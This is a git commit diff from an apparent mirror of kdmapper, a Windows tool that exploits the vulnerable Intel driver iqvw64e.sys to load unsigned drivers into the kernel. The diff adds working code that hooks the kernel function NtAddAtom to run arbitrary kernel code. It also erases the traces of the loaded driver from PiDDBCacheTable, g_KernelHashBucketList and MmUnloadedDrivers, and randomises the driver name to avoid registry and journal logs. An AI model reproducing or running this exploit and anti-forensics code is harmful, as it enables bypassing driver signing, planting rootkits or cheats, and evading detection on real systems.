mirror of
https://github.com/TheCruZ/kdmapper.git
synced 2026-10-19 07:34:21 +00:00
Fixed BSOD with Cleaning of g_KernelHashBucketList, Fixed BSOD with Cleaning of MmUnloadedDrivers, Improved the race condition of the system hook hooking NtAddAtom
This commit is contained in:
parent
66fbec660d
commit
ca8cfe8e61
10 changed files with 239 additions and 118 deletions
BIN
HelloWorld.sys
Normal file
BIN
HelloWorld.sys
Normal file
Binary file not shown.
|
|
@ -14,6 +14,8 @@ Fixups:
|
|||
|
||||
Hook "NtQueryInformationAtom" which exists in all windows versions
|
||||
Fixed unable to load /GS- compiled drivers
|
||||
Update: Now hooks "NtAddAtom" which is 100x times less used than NtQueryInformationAtom
|
||||
Fixed 2 BSODs related to clear g_KernelHashBucketList and clear MmUnloadedDrivers
|
||||
|
||||
Improvements:
|
||||
|
||||
|
|
@ -22,6 +24,7 @@ Improvements:
|
|||
Automatic clear PiDDBCacheTable
|
||||
Header section skipped while copying driver to kernel
|
||||
Automatic clear g_KernelHashBucketList
|
||||
Added param --free to automatically free the allocated pool
|
||||
|
||||
Requirements:
|
||||
|
||||
|
|
|
|||
|
|
@ -1,5 +1,6 @@
|
|||
#include "intel_driver.hpp"
|
||||
|
||||
ULONG64 intel_driver::ntoskrnlAddr = 0;
|
||||
char intel_driver::driver_name[100] = {};
|
||||
uintptr_t PiDDBLockPtr;
|
||||
uintptr_t PiDDBCacheTablePtr;
|
||||
|
|
@ -17,6 +18,15 @@ bool intel_driver::IsRunning()
|
|||
|
||||
HANDLE intel_driver::Load()
|
||||
{
|
||||
srand((unsigned)time(NULL) * GetCurrentThreadId());
|
||||
|
||||
//from https://github.com/ShoaShekelbergstein/kdmapper as some Drivers takes same device name
|
||||
if (intel_driver::IsRunning())
|
||||
{
|
||||
std::cout << "[-] \\Device\\Nal is already in use." << std::endl;
|
||||
return INVALID_HANDLE_VALUE;
|
||||
}
|
||||
|
||||
//Randomize name for log in registry keys, usn jornal and other shits
|
||||
memset(intel_driver::driver_name, 0, sizeof(intel_driver::driver_name));
|
||||
static const char alphanum[] =
|
||||
|
|
@ -54,7 +64,41 @@ HANDLE intel_driver::Load()
|
|||
return nullptr;
|
||||
}
|
||||
|
||||
return CreateFileW(L"\\\\.\\Nal", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
HANDLE result = CreateFileW(L"\\\\.\\Nal", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
|
||||
if (!result || result == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
std::cout << "[-] Failed to load driver iqvw64e.sys" << std::endl;
|
||||
intel_driver::Unload(result);
|
||||
return INVALID_HANDLE_VALUE;
|
||||
}
|
||||
|
||||
ntoskrnlAddr = utils::GetKernelModuleAddress("ntoskrnl.exe");
|
||||
if (ntoskrnlAddr == 0) {
|
||||
std::cout << "[-] Failed to get ntoskrnl.exe" << std::endl;
|
||||
intel_driver::Unload(result);
|
||||
return INVALID_HANDLE_VALUE;
|
||||
}
|
||||
|
||||
if (!intel_driver::ClearPiDDBCacheTable(result)) {
|
||||
std::cout << "[-] Failed to ClearPiDDBCacheTable" << std::endl;
|
||||
intel_driver::Unload(result);
|
||||
return INVALID_HANDLE_VALUE;
|
||||
}
|
||||
|
||||
if (!intel_driver::ClearKernelHashBucketList(result)) {
|
||||
std::cout << "[-] Failed to ClearKernelHashBucketList" << std::endl;
|
||||
intel_driver::Unload(result);
|
||||
return INVALID_HANDLE_VALUE;
|
||||
}
|
||||
|
||||
if (!intel_driver::ClearMmUnloadedDrivers(result)) {
|
||||
std::cout << "[!] Failed to ClearMmUnloadedDrivers" << std::endl;
|
||||
intel_driver::Unload(result);
|
||||
return INVALID_HANDLE_VALUE;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
void intel_driver::Unload(HANDLE device_handle)
|
||||
|
|
@ -225,7 +269,7 @@ uint64_t intel_driver::AllocatePool(HANDLE device_handle, nt::POOL_TYPE pool_typ
|
|||
if (!size)
|
||||
return 0;
|
||||
|
||||
static uint64_t kernel_ExAllocatePool = GetKernelModuleExport(device_handle, utils::GetKernelModuleAddress("ntoskrnl.exe"), "ExAllocatePoolWithTag");
|
||||
static uint64_t kernel_ExAllocatePool = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, "ExAllocatePoolWithTag");
|
||||
|
||||
if (!kernel_ExAllocatePool)
|
||||
{
|
||||
|
|
@ -246,7 +290,7 @@ bool intel_driver::FreePool(HANDLE device_handle, uint64_t address)
|
|||
if (!address)
|
||||
return 0;
|
||||
|
||||
static uint64_t kernel_ExFreePool = GetKernelModuleExport(device_handle, utils::GetKernelModuleAddress("ntoskrnl.exe"), "ExFreePool");
|
||||
static uint64_t kernel_ExFreePool = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, "ExFreePool");
|
||||
|
||||
if (!kernel_ExFreePool) {
|
||||
std::cout << "[!] Failed to find ExAllocatePool" << std::endl;
|
||||
|
|
@ -295,6 +339,10 @@ uint64_t intel_driver::GetKernelModuleExport(HANDLE device_handle, uint64_t kern
|
|||
if (!_stricmp(current_function_name.c_str(), function_name.c_str()))
|
||||
{
|
||||
const auto function_ordinal = ordinal_table[i];
|
||||
if (function_table[function_ordinal] <= 0x1000) {
|
||||
// Wrong function address?
|
||||
return 0;
|
||||
}
|
||||
const auto function_address = kernel_module_base + function_table[function_ordinal];
|
||||
|
||||
if (function_address >= kernel_module_base + export_base && function_address <= kernel_module_base + export_base + export_base_size)
|
||||
|
|
@ -385,10 +433,13 @@ bool intel_driver::ClearMmUnloadedDrivers(HANDLE device_handle)
|
|||
return false;
|
||||
}
|
||||
|
||||
wchar_t * unloadedName = new wchar_t[us_driver_base_dll_name.Length];
|
||||
memset(unloadedName, 0, us_driver_base_dll_name.Length * sizeof(wchar_t));
|
||||
wchar_t * unloadedName = new wchar_t[(ULONG64)us_driver_base_dll_name.Length/2ULL + 1ULL];
|
||||
memset(unloadedName, 0, us_driver_base_dll_name.Length);
|
||||
|
||||
ReadMemory(device_handle, (uintptr_t)us_driver_base_dll_name.Buffer, unloadedName, us_driver_base_dll_name.Length * sizeof(wchar_t));
|
||||
if (!ReadMemory(device_handle, (uintptr_t)us_driver_base_dll_name.Buffer, unloadedName, us_driver_base_dll_name.Length)) {
|
||||
std::cout << "[!] Failed to read driver name" << std::endl;
|
||||
return false;
|
||||
}
|
||||
|
||||
us_driver_base_dll_name.Length = 0; //MiRememberUnloadedDriver will check if the length > 0 to save the unloaded driver
|
||||
|
||||
|
|
@ -419,7 +470,7 @@ bool intel_driver::ExAcquireResourceExclusiveLite(HANDLE device_handle, PVOID Re
|
|||
if (!Resource)
|
||||
return 0;
|
||||
|
||||
static uint64_t kernel_ExAcquireResourceExclusiveLite = GetKernelModuleExport(device_handle, utils::GetKernelModuleAddress("ntoskrnl.exe"), "ExAcquireResourceExclusiveLite");
|
||||
static uint64_t kernel_ExAcquireResourceExclusiveLite = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, "ExAcquireResourceExclusiveLite");
|
||||
|
||||
if (!kernel_ExAcquireResourceExclusiveLite) {
|
||||
std::cout << "[!] Failed to find ExAcquireResourceExclusiveLite" << std::endl;
|
||||
|
|
@ -436,7 +487,7 @@ bool intel_driver::ExReleaseResourceLite(HANDLE device_handle, PVOID Resource)
|
|||
if (!Resource)
|
||||
return false;
|
||||
|
||||
static uint64_t kernel_ExReleaseResourceLite = GetKernelModuleExport(device_handle, utils::GetKernelModuleAddress("ntoskrnl.exe"), "ExReleaseResourceLite");
|
||||
static uint64_t kernel_ExReleaseResourceLite = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, "ExReleaseResourceLite");
|
||||
|
||||
if (!kernel_ExReleaseResourceLite) {
|
||||
std::cout << "[!] Failed to find ExReleaseResourceLite" << std::endl;
|
||||
|
|
@ -451,7 +502,7 @@ BOOLEAN intel_driver::RtlDeleteElementGenericTableAvl(HANDLE device_handle, PVOI
|
|||
if (!Table)
|
||||
return false;
|
||||
|
||||
static uint64_t kernel_RtlDeleteElementGenericTableAvl = GetKernelModuleExport(device_handle, utils::GetKernelModuleAddress("ntoskrnl.exe"), "RtlDeleteElementGenericTableAvl");
|
||||
static uint64_t kernel_RtlDeleteElementGenericTableAvl = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, "RtlDeleteElementGenericTableAvl");
|
||||
|
||||
if (!kernel_RtlDeleteElementGenericTableAvl) {
|
||||
std::cout << "[!] Failed to find RtlDeleteElementGenericTableAvl" << std::endl;
|
||||
|
|
@ -498,10 +549,8 @@ intel_driver::PiDDBCacheEntry* intel_driver::LookupEntry(HANDLE device_handle, P
|
|||
|
||||
bool intel_driver::ClearPiDDBCacheTable(HANDLE device_handle) { //PiDDBCacheTable added on LoadDriver
|
||||
|
||||
uint64_t ntoskrnl = utils::GetKernelModuleAddress("ntoskrnl.exe");
|
||||
|
||||
PiDDBLockPtr = FindPatternInSectionAtKernel(device_handle, (char*)"PAGE", ntoskrnl, (PUCHAR)"\x81\xFB\x6C\x03\x00\xC0\x0F\x84\x00\x00\x00\x00\x48\x8D\x0D", (char*)"xxxxxxxx????xxx"); // 81 FB 6C 03 00 C0 0F 84 ? ? ? ? 48 8D 0D update for build 21286 etc...
|
||||
PiDDBCacheTablePtr = FindPatternInSectionAtKernel(device_handle, (char*)"PAGE", ntoskrnl, (PUCHAR)"\x66\x03\xD2\x48\x8D\x0D", (char*)"xxxxxx");
|
||||
PiDDBLockPtr = FindPatternInSectionAtKernel(device_handle, (char*)"PAGE", intel_driver::ntoskrnlAddr, (PUCHAR)"\x81\xFB\x6C\x03\x00\xC0\x0F\x84\x00\x00\x00\x00\x48\x8D\x0D", (char*)"xxxxxxxx????xxx"); // 81 FB 6C 03 00 C0 0F 84 ? ? ? ? 48 8D 0D update for build 21286 etc...
|
||||
PiDDBCacheTablePtr = FindPatternInSectionAtKernel(device_handle, (char*)"PAGE", intel_driver::ntoskrnlAddr, (PUCHAR)"\x66\x03\xD2\x48\x8D\x0D", (char*)"xxxxxx");
|
||||
if (PiDDBLockPtr == NULL || PiDDBCacheTablePtr == NULL) {
|
||||
std::cout << "[-] Warning no PiDDBCacheTable Found" << std::endl;
|
||||
return false;
|
||||
|
|
@ -584,7 +633,10 @@ uintptr_t intel_driver::FindPatternAtKernel(HANDLE device_handle, uintptr_t dwAd
|
|||
}
|
||||
|
||||
BYTE* sectionData = new BYTE[dwLen];
|
||||
ReadMemory(device_handle, dwAddress, sectionData, dwLen);
|
||||
if (!ReadMemory(device_handle, dwAddress, sectionData, dwLen)) {
|
||||
std::cout << "[-] Read failed in FindPatternAtKernel" << std::endl;
|
||||
return 0;
|
||||
}
|
||||
|
||||
auto result = utils::FindPattern((uintptr_t)sectionData, dwLen, bMask, szMask);
|
||||
|
||||
|
|
@ -593,7 +645,7 @@ uintptr_t intel_driver::FindPatternAtKernel(HANDLE device_handle, uintptr_t dwAd
|
|||
delete[] sectionData;
|
||||
return 0;
|
||||
}
|
||||
result = dwAddress + result - (uintptr_t)sectionData;
|
||||
result = dwAddress - (uintptr_t)sectionData + result;
|
||||
delete[] sectionData;
|
||||
return result;
|
||||
}
|
||||
|
|
@ -610,7 +662,7 @@ uintptr_t intel_driver::FindSectionAtKernel(HANDLE device_handle, char* sectionN
|
|||
uintptr_t section = (uintptr_t)utils::FindSection(sectionName, (uintptr_t)headers, §ionSize);
|
||||
if (!section || !sectionSize) {
|
||||
std::cout << "[-] Can't find section" << std::endl;
|
||||
return false;
|
||||
return 0;
|
||||
}
|
||||
if (size)
|
||||
*size = sectionSize;
|
||||
|
|
@ -628,6 +680,10 @@ bool intel_driver::ClearKernelHashBucketList(HANDLE device_handle) {
|
|||
std::wstring wdname(dname.begin(),dname.end());
|
||||
wdname = L"\\" + wdname;
|
||||
uint64_t ci = utils::GetKernelModuleAddress("ci.dll");
|
||||
if (!ci) {
|
||||
std::cout << "[-] Can't Find ci.dll module address" << std::endl;
|
||||
return false;
|
||||
}
|
||||
|
||||
//Thanks @KDIo3 and @Swiftik from UnknownCheats
|
||||
auto sig = FindPatternInSectionAtKernel(device_handle, (char*)"PAGE",ci, PUCHAR("\x48\x8B\x1D\x00\x00\x00\x00\xEB\x00\xF7\x43\x40\x00\x20\x00\x00"), (char*)"xxx????x?xxxxxxx");
|
||||
|
|
@ -648,20 +704,7 @@ bool intel_driver::ClearKernelHashBucketList(HANDLE device_handle) {
|
|||
return false;
|
||||
}
|
||||
|
||||
std::wcout << L"[+] g_KernelHashBucketList Found 0x" << std::hex << g_KernelHashBucketList << std::endl;
|
||||
|
||||
//// Print KernelHashBucketList
|
||||
//ULONG_PTR i = NULL;
|
||||
//ReadMemory(device_handle, (uintptr_t)g_KernelHashBucketList, &i, sizeof(i));
|
||||
//while (i)
|
||||
//{
|
||||
// const auto wsNamePtr = PWCH(i + 0x48);
|
||||
// wchar_t wsName[MAX_PATH];
|
||||
// memset(wsName, 0, MAX_PATH * sizeof(wchar_t));
|
||||
// ReadMemory(device_handle, (uintptr_t)wsNamePtr, wsName, MAX_PATH * sizeof(wchar_t));
|
||||
// std::wcout << wsName << std::endl;
|
||||
// ReadMemory(device_handle, (uintptr_t)i, &i, sizeof(i));
|
||||
//}
|
||||
std::cout << "[+] g_KernelHashBucketList Found 0x" << std::hex << g_KernelHashBucketList << std::endl;
|
||||
|
||||
if (!ExAcquireResourceExclusiveLite(device_handle, g_HashCacheLock, true)) {
|
||||
std::cout << "[-] Can't lock g_HashCacheLock" << std::endl;
|
||||
|
|
@ -671,43 +714,112 @@ bool intel_driver::ClearKernelHashBucketList(HANDLE device_handle) {
|
|||
|
||||
HashBucketEntry* prev = (HashBucketEntry*)g_KernelHashBucketList;
|
||||
HashBucketEntry* entry = 0;
|
||||
ReadMemory(device_handle, (uintptr_t)prev, &entry, sizeof(entry));
|
||||
if (!ReadMemory(device_handle, (uintptr_t)prev, &entry, sizeof(entry))) {
|
||||
std::cout << "[-] Failed to read first g_KernelHashBucketList entry!" << std::endl;
|
||||
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
|
||||
std::cout << "[-] Failed to release g_KernelHashBucketList lock!" << std::endl;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
if (!entry) {
|
||||
std::wcout << L"[!] g_KernelHashBucketList looks empty!" << std::endl;
|
||||
ExReleaseResourceLite(device_handle, g_HashCacheLock);
|
||||
std::cout << "[!] g_KernelHashBucketList looks empty!" << std::endl;
|
||||
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
|
||||
std::cout << "[-] Failed to release g_KernelHashBucketList lock!" << std::endl;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
char temp_directory[MAX_PATH] = { 0 };
|
||||
const uint32_t get_temp_path_ret = GetTempPathA(sizeof(temp_directory), temp_directory);
|
||||
if (temp_directory[strlen(temp_directory) - 1] == '\\')
|
||||
temp_directory[strlen(temp_directory) - 1] = 0x0;
|
||||
const std::string driver_path = std::string(temp_directory) + "\\" + driver_name;
|
||||
|
||||
SIZE_T vulDrvNameLen = (driver_path.length() - 2) * 2;
|
||||
|
||||
while (entry) {
|
||||
wchar_t * wsNamePtr = 0;
|
||||
|
||||
USHORT wsNameLen = 0;
|
||||
ReadMemory(device_handle, (uintptr_t)entry + offsetof(HashBucketEntry, DriverName.Buffer), &wsNamePtr, sizeof(wsNamePtr));
|
||||
ReadMemory(device_handle, (uintptr_t)entry + offsetof(HashBucketEntry, DriverName.Length), &wsNameLen, sizeof(wsNameLen));
|
||||
|
||||
wchar_t* wsName = new wchar_t[wsNameLen];
|
||||
memset(wsName, 0, wsNameLen * sizeof(wchar_t));
|
||||
ReadMemory(device_handle, (uintptr_t)wsNamePtr, wsName, wsNameLen * sizeof(wchar_t));
|
||||
|
||||
if (std::wstring(wsName).find(wdname) != std::wstring::npos) {
|
||||
std::wcout << L"[+] Found In g_KernelHashBucketList: " << wsName << std::endl;
|
||||
|
||||
HashBucketEntry* Next = 0;
|
||||
ReadMemory(device_handle, (uintptr_t)entry, &Next, sizeof(Next));
|
||||
|
||||
WriteMemory(device_handle, (uintptr_t)prev, &Next, sizeof(Next));
|
||||
|
||||
FreePool(device_handle, (uintptr_t)entry);
|
||||
std::wcout << L"[+] g_KernelHashBucketList Cleaned" << std::endl;
|
||||
ExReleaseResourceLite(device_handle, g_HashCacheLock);
|
||||
delete[] wsName;
|
||||
return true;
|
||||
if (!ReadMemory(device_handle, (uintptr_t)entry + offsetof(HashBucketEntry, DriverName.Length), &wsNameLen, sizeof(wsNameLen))) {
|
||||
std::cout << "[-] Failed to read g_KernelHashBucketList entry text len!" << std::endl;
|
||||
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
|
||||
std::cout << "[-] Failed to release g_KernelHashBucketList lock!" << std::endl;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
if (wsNameLen == vulDrvNameLen) {
|
||||
wchar_t* wsNamePtr = 0;
|
||||
if (!ReadMemory(device_handle, (uintptr_t)entry + offsetof(HashBucketEntry, DriverName.Buffer), &wsNamePtr, sizeof(wsNamePtr)) || !wsNamePtr) {
|
||||
std::cout << "[-] Failed to read g_KernelHashBucketList entry text ptr!" << std::endl;
|
||||
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
|
||||
std::cout << "[-] Failed to release g_KernelHashBucketList lock!" << std::endl;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
wchar_t* wsName = new wchar_t[(ULONG64)wsNameLen / 2ULL + 1ULL];
|
||||
memset(wsName, 0, wsNameLen);
|
||||
|
||||
if (!ReadMemory(device_handle, (uintptr_t)wsNamePtr, wsName, wsNameLen)) {
|
||||
std::cout << "[-] Failed to read g_KernelHashBucketList entry text!" << std::endl;
|
||||
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
|
||||
std::cout << "[-] Failed to release g_KernelHashBucketList lock!" << std::endl;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
if (std::wstring(wsName).find(wdname) != std::wstring::npos) {
|
||||
std::wcout << L"[+] Found In g_KernelHashBucketList: " << wsName << " -> " << wsNameLen << std::endl;
|
||||
HashBucketEntry* Next = 0;
|
||||
if (!ReadMemory(device_handle, (uintptr_t)entry, &Next, sizeof(Next))) {
|
||||
std::cout << "[-] Failed to read g_KernelHashBucketList next entry ptr!" << std::endl;
|
||||
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
|
||||
std::cout << "[-] Failed to release g_KernelHashBucketList lock!" << std::endl;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!WriteMemory(device_handle, (uintptr_t)prev, &Next, sizeof(Next))) {
|
||||
std::cout << "[-] Failed to write g_KernelHashBucketList prev entry ptr!" << std::endl;
|
||||
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
|
||||
std::cout << "[-] Failed to release g_KernelHashBucketList lock!" << std::endl;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!FreePool(device_handle, (uintptr_t)entry)) {
|
||||
std::cout << "[-] Failed to clear g_KernelHashBucketList entry pool!" << std::endl;
|
||||
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
|
||||
std::cout << "[-] Failed to release g_KernelHashBucketList lock!" << std::endl;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
std::cout << "[+] g_KernelHashBucketList Cleaned" << std::endl;
|
||||
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
|
||||
std::cout << "[-] Failed to release g_KernelHashBucketList lock!" << std::endl;
|
||||
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
|
||||
std::cout << "[-] Failed to release g_KernelHashBucketList lock!" << std::endl;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
delete[] wsName;
|
||||
return true;
|
||||
}
|
||||
delete[] wsName;
|
||||
}
|
||||
prev = entry;
|
||||
delete[] wsName;
|
||||
//read next
|
||||
ReadMemory(device_handle, (uintptr_t)entry, &entry, sizeof(entry));
|
||||
if (!ReadMemory(device_handle, (uintptr_t)entry, &entry, sizeof(entry))) {
|
||||
std::cout << "[-] Failed to read g_KernelHashBucketList next entry!" << std::endl;
|
||||
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
|
||||
std::cout << "[-] Failed to release g_KernelHashBucketList lock!" << std::endl;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
ExReleaseResourceLite(device_handle, g_HashCacheLock);
|
||||
if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
|
||||
std::cout << "[-] Failed to release g_KernelHashBucketList lock!" << std::endl;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
|
@ -15,6 +15,7 @@ namespace intel_driver
|
|||
extern char driver_name[100]; //"iqvw64e.sys"
|
||||
constexpr uint32_t ioctl1 = 0x80862007;
|
||||
constexpr DWORD iqvw64e_timestamp = 0x5284EAC3;
|
||||
extern ULONG64 ntoskrnlAddr;
|
||||
|
||||
typedef struct _COPY_MEMORY_BUFFER_INFO
|
||||
{
|
||||
|
|
@ -152,16 +153,16 @@ namespace intel_driver
|
|||
return false;
|
||||
|
||||
// Setup function call
|
||||
HMODULE ntdll = GetModuleHandle("ntdll.dll");
|
||||
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
|
||||
if (ntdll == 0) {
|
||||
std::cout << "[-] Failed to load ntdll.dll" << std::endl; //never should happens
|
||||
return false;
|
||||
}
|
||||
|
||||
const auto NtQueryInformationAtom = reinterpret_cast<void*>(GetProcAddress(ntdll, "NtQueryInformationAtom"));
|
||||
if (!NtQueryInformationAtom)
|
||||
const auto NtAddAtom = reinterpret_cast<void*>(GetProcAddress(ntdll, "NtAddAtom"));
|
||||
if (!NtAddAtom)
|
||||
{
|
||||
std::cout << "[-] Failed to get export ntdll.NtQueryInformationAtom" << std::endl;
|
||||
std::cout << "[-] Failed to get export ntdll.NtAddAtom" << std::endl;
|
||||
return false;
|
||||
}
|
||||
|
||||
|
|
@ -169,38 +170,46 @@ namespace intel_driver
|
|||
uint8_t original_kernel_function[sizeof(kernel_injected_jmp)];
|
||||
*(uint64_t*)&kernel_injected_jmp[2] = kernel_function_address;
|
||||
|
||||
const uint64_t kernel_NtQueryInformationAtom = GetKernelModuleExport(device_handle, utils::GetKernelModuleAddress("ntoskrnl.exe"), "NtQueryInformationAtom");
|
||||
if (!kernel_NtQueryInformationAtom)
|
||||
static uint64_t kernel_NtAddAtom = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, "NtAddAtom");
|
||||
if (!kernel_NtAddAtom)
|
||||
{
|
||||
std::cout << "[-] Failed to get export ntoskrnl.NtQueryInformationAtom" << std::endl;
|
||||
std::cout << "[-] Failed to get export ntoskrnl.NtAddAtom" << std::endl;
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!ReadMemory(device_handle, kernel_NtQueryInformationAtom, &original_kernel_function, sizeof(kernel_injected_jmp)))
|
||||
if (!ReadMemory(device_handle, kernel_NtAddAtom, &original_kernel_function, sizeof(kernel_injected_jmp)))
|
||||
return false;
|
||||
|
||||
if (original_kernel_function[0] == kernel_injected_jmp[0] &&
|
||||
original_kernel_function[1] == kernel_injected_jmp[1] &&
|
||||
original_kernel_function[sizeof(kernel_injected_jmp) - 2] == kernel_injected_jmp[sizeof(kernel_injected_jmp) - 2] &&
|
||||
original_kernel_function[sizeof(kernel_injected_jmp) - 1] == kernel_injected_jmp[sizeof(kernel_injected_jmp) - 1]) {
|
||||
std::cout << "[-] FAILED!: The code was already hooked!! another instance of kdmapper running?!" << std::endl;
|
||||
return false;
|
||||
}
|
||||
|
||||
// Overwrite the pointer with kernel_function_address
|
||||
if (!WriteToReadOnlyMemory(device_handle, kernel_NtQueryInformationAtom, &kernel_injected_jmp, sizeof(kernel_injected_jmp)))
|
||||
if (!WriteToReadOnlyMemory(device_handle, kernel_NtAddAtom, &kernel_injected_jmp, sizeof(kernel_injected_jmp)))
|
||||
return false;
|
||||
|
||||
// Call function
|
||||
if constexpr (!call_void)
|
||||
{
|
||||
using FunctionFn = T(__stdcall*)(A...);
|
||||
const auto Function = reinterpret_cast<FunctionFn>(NtQueryInformationAtom);
|
||||
const auto Function = reinterpret_cast<FunctionFn>(NtAddAtom);
|
||||
|
||||
*out_result = Function(arguments...);
|
||||
}
|
||||
else
|
||||
{
|
||||
using FunctionFn = void(__stdcall*)(A...);
|
||||
const auto Function = reinterpret_cast<FunctionFn>(NtQueryInformationAtom);
|
||||
const auto Function = reinterpret_cast<FunctionFn>(NtAddAtom);
|
||||
|
||||
Function(arguments...);
|
||||
}
|
||||
|
||||
// Restore the pointer/jmp
|
||||
WriteToReadOnlyMemory(device_handle, kernel_NtQueryInformationAtom, original_kernel_function, sizeof(kernel_injected_jmp));
|
||||
WriteToReadOnlyMemory(device_handle, kernel_NtAddAtom, original_kernel_function, sizeof(kernel_injected_jmp));
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -1,6 +1,6 @@
|
|||
#include "kdmapper.hpp"
|
||||
|
||||
uint64_t kdmapper::MapDriver(HANDLE iqvw64e_device_handle, const std::string& driver_path)
|
||||
uint64_t kdmapper::MapDriver(HANDLE iqvw64e_device_handle, const std::string& driver_path, ULONG64 param1, ULONG64 param2, bool free)
|
||||
{
|
||||
std::vector<uint8_t> raw_image = { 0 };
|
||||
|
||||
|
|
@ -91,7 +91,7 @@ uint64_t kdmapper::MapDriver(HANDLE iqvw64e_device_handle, const std::string& dr
|
|||
|
||||
NTSTATUS status = 0;
|
||||
|
||||
if (!intel_driver::CallKernelFunction(iqvw64e_device_handle, &status, address_of_entry_point))
|
||||
if (!intel_driver::CallKernelFunction(iqvw64e_device_handle, &status, address_of_entry_point, param1, param2))
|
||||
{
|
||||
std::cout << "[-] Failed to call driver entry" << std::endl;
|
||||
kernel_image_base = realBase;
|
||||
|
|
@ -100,6 +100,9 @@ uint64_t kdmapper::MapDriver(HANDLE iqvw64e_device_handle, const std::string& dr
|
|||
|
||||
std::cout << "[+] DriverEntry returned 0x" << std::hex << std::setw(8) << std::setfill('0') << std::uppercase << status << std::nouppercase << std::dec << std::endl;
|
||||
|
||||
if (free)
|
||||
intel_driver::FreePool(iqvw64e_device_handle, realBase);
|
||||
|
||||
VirtualFree(local_image_base, 0, MEM_RELEASE);
|
||||
return realBase;
|
||||
|
||||
|
|
|
|||
|
|
@ -13,7 +13,7 @@
|
|||
|
||||
namespace kdmapper
|
||||
{
|
||||
uint64_t MapDriver(HANDLE iqvw64e_device_handle, const std::string& driver_path);
|
||||
uint64_t MapDriver(HANDLE iqvw64e_device_handle, const std::string& driver_path, ULONG64 param1, ULONG64 param2, bool free);
|
||||
void RelocateImageByDelta(portable_executable::vec_relocs relocs, const uint64_t delta);
|
||||
bool ResolveImports(HANDLE iqvw64e_device_handle, portable_executable::vec_imports imports);
|
||||
}
|
||||
|
|
@ -69,6 +69,7 @@
|
|||
<ConformanceMode>true</ConformanceMode>
|
||||
<TreatWarningAsError>false</TreatWarningAsError>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
|
|
|
|||
|
|
@ -17,57 +17,45 @@ int main(const int argc, char** argv)
|
|||
{
|
||||
SetUnhandledExceptionFilter(SimplestCrashHandler);
|
||||
|
||||
srand((unsigned)time(NULL) * GetCurrentThreadId());
|
||||
if (argc != 2 || std::filesystem::path(argv[1]).extension().string().compare(".sys"))
|
||||
{
|
||||
std::cout << "[-] Incorrect usage" << std::endl;
|
||||
if (argc != 2 && argc != 3) {
|
||||
std::cout << "Usage: kdmapper.exe [--free] driver" << std::endl;
|
||||
return -1;
|
||||
}
|
||||
|
||||
//from https://github.com/ShoaShekelbergstein/kdmapper as some Drivers takes same device name
|
||||
if (intel_driver::IsRunning())
|
||||
{
|
||||
std::cout << "[-] \\Device\\Nal is already in use." << std::endl;
|
||||
bool free = false;
|
||||
int drvIndex = 1;
|
||||
if (argc > 2) {
|
||||
if (_stricmp(argv[1], "--free") == 0 || _stricmp(argv[1], "/free") == 0) {
|
||||
free = true;
|
||||
drvIndex = 2;
|
||||
}
|
||||
else if (_stricmp(argv[2], "--free") == 0 || _stricmp(argv[2], "/free") == 0) {
|
||||
free = true;
|
||||
}
|
||||
}
|
||||
|
||||
if (free) {
|
||||
std::cout << "[+] Free pool memory after usage enabled" << std::endl;
|
||||
}
|
||||
|
||||
if(std::filesystem::path(argv[drvIndex]).extension().string().compare(".sys") || argc == 3 && !free) {
|
||||
std::cout << "Usage: kdmapper.exe [--free] driver" << std::endl;
|
||||
return -1;
|
||||
}
|
||||
|
||||
const std::string driver_path = argv[1];
|
||||
const std::string driver_path = argv[drvIndex];
|
||||
|
||||
if (!std::filesystem::exists(driver_path))
|
||||
{
|
||||
if (!std::filesystem::exists(driver_path)) {
|
||||
std::cout << "[-] File " << driver_path << " doesn't exist" << std::endl;
|
||||
return -1;
|
||||
}
|
||||
|
||||
iqvw64e_device_handle = intel_driver::Load();
|
||||
|
||||
if (!iqvw64e_device_handle || iqvw64e_device_handle == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
std::cout << "[-] Failed to load driver iqvw64e.sys" << std::endl;
|
||||
intel_driver::Unload(iqvw64e_device_handle);
|
||||
if (iqvw64e_device_handle == INVALID_HANDLE_VALUE)
|
||||
return -1;
|
||||
